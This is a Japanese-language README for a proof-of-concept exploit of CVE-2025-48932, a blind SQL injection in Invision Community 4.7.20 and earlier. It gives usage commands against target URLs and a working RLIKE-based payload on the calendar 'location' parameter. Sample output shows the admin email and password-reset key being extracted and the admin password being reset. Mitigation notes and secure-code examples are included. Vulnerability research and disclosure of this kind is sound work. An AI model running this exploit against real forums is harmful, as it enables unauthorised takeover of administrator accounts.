
Invision Community バージョン <= 4.7.20 における SQL インジェクション脆弱性を示す概念実証 (PoC) エクスプロイトです。
このツールは、教育目的および許可されたセキュリティテスト専用に提供されています。
CVE ID: CVE-2025-48932
深刻度: 高
CVSS スコア: 未定
影響を受けるバージョン: 4.7.21 より前の Invision Community 4.x バージョン
この脆弱性は /applications/calendar/modules/front/calendar/view.php スクリプトに存在します。IPS\calendar\modules\front\calendar\view::search() メソッドの location リクエストパラメータを介して渡されるユーザー入力は、SQL クエリで使用される前に適切にサニタイズされません。
これにより、リモートの認証されていない攻撃者が以下のことを可能にします:
悪用の前提条件:
注記: Invision Community 4.x バージョン < 4.7.18 の SQL インジェクション脆弱性は、管理者パスワードのリセットによる管理者アカウントの乗っ取りや RCE につながる可能性がありましたが、バージョン 4.7.18 でパスワードリセット機構に新しいセキュリティ暗号化キーが導入され、この攻撃経路はより困難になっています。
リポジトリをクローンします:
git clone https://github.com/yourusername/invision-sqli-exploit.git
cd invision-sqli-exploit
依存関係をインストールします:
pip install -r requirements.txt
python invision-sqli-exploit.py -u http://target.com/forum/
python invision-sqli-exploit.py -u https://example.com/community/ -v
==================================================
Invision Community <= 4.7.20 SQL Injection Exploit
CVE-2025-48932
==================================================
Target: http://example.com/forum/
==================================================
[*] Fetching CSRF token...
[+] CSRF token found: abc123def456...
[*] Step 1: Extracting admin email address...
[*] Extracting data: [email protected]
[+] Admin email: [email protected]
[!] Step 2: Manual action required!
Please follow these steps:
1. Navigate to: http://example.com/forum/index.php?/lostpassword/
2. Request a password reset using email: [email protected]
3. Press ENTER when done...
[*] Step 3: Extracting password reset validation key...
[*] Extracting data: xyz789abc123...
[+] Reset key: xyz789abc123...
[*] Step 4: Resetting admin password...
==================================================
[+] EXPLOITATION SUCCESSFUL!
==================================================
Admin credentials:
Email: [email protected]
Password: Pwned1721234567
You can now login at: http://example.com/forum/index.php?/login/
このエクスプロイトは主に 4 つのステップで動作します:
スクリプトはまずターゲット Web サイトから CSRF トークンを取得します。これは後続のリクエストに必要です。
二分探索アルゴリズムを使用して、エクスプロイトはデータベースからデータを 1 文字ずつ抽出します:
RLIKE 関数を使用して真/偽の条件を検出するcore_members テーブルにクエリを実行して、管理者のメールアドレスを抽出します。
インジェクションポイント:
location parameter → calendar/view.php → search() method
ペイロード例:
'))OR(SELECT 1 RLIKE(IF(ORD(SUBSTR((SELECT email FROM core_members WHERE member_id=1),1,1))<128,0x28,0x31)))#
悪用手法: 効率的なデータ抽出のための二分探索を使用したブールベースのブラインド SQL インジェクション。
即時対応:
安全なコーディング手法:
安全なコードの例:
// Vulnerable code
$location = $_REQUEST['location'];
$query = "SELECT * FROM events WHERE location = '$location'";
// Secure code
$location = $_REQUEST['location'];
$query = $db->prepare("SELECT * FROM events WHERE location = ?");
$query->execute([$location]);
| 日付 | イベント |
|---|---|
| 2025年5月16日 | ベンダーに通知 |
| 2025年5月27日 | バージョン 4.7.21 リリース |
| 2025年5月28日 | CVE 識別子を申請 |
| 2025年5月28日 | CVE-2025-48932 割り当て |
開発者:
注記: これは、公に開示された脆弱性情報 (CVE-2025-48932) に基づく独立した実装です。
このプロジェクトは MIT ライセンスの下でライセンスされています。詳細は LICENSE ファイルを参照してください。
コントリビューションを歓迎します! プルリクエストを遠慮なく送信してください。大きな変更については、まず issue を開いて変更内容を議論してください。
このツールは MIT ライセンスの下で配布されています。本ソフトウェアを使用することにより、あなたは以下に同意したものとみなされます:
覚えておいてください: コンピュータシステムへの不正アクセスは、ほとんどの法域で犯罪であり、重大な法的結果を招く可能性があります。
セキュリティ脆弱性を発見した場合は、公開する前に責任を持ってベンダーに開示してください。
| 引数 | 説明 | 必須 |
|---|
-u, --url | ターゲットの Invision Community ベース URL | はい |
-v, --verbose | デバッグ用の冗長出力を有効にする | いいえ |
-h, --help | ヘルプメッセージを表示して終了 | いいえ |
| 2025年7月23日 | 公開開示 |